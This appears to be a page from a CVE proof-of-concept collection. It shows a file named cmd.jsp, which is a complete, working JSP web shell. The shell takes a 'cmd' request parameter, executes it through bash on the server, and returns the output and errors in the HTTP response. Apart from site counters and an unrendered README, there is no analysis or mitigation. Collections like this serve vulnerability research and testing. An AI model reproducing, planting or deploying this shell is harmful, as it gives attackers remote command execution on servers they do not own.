5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cmd.jsp JSP
<%@ page import="java.io.*" %>
<%
out.write("command result\n");
String cmd = request.getParameter("cmd");
if (cmd != null) {
    try {
        Process p = Runtime.getRuntime().exec(new String[] { "bash", "-c", cmd });
        InputStream in = p.getInputStream();
        InputStream err = p.getErrorStream();
        byte[] buf = new byte[1024];
        int len;
        while ((len = in.read(buf)) != -1) {
            out.write(new String(buf, 0, len));
        }
        while ((len = err.read(buf)) != -1) {
            out.write(new String(buf, 0, len));
        }
        in.close();
        err.close();
    } catch (Exception e) {
        out.write(e.toString());
    }
}
%>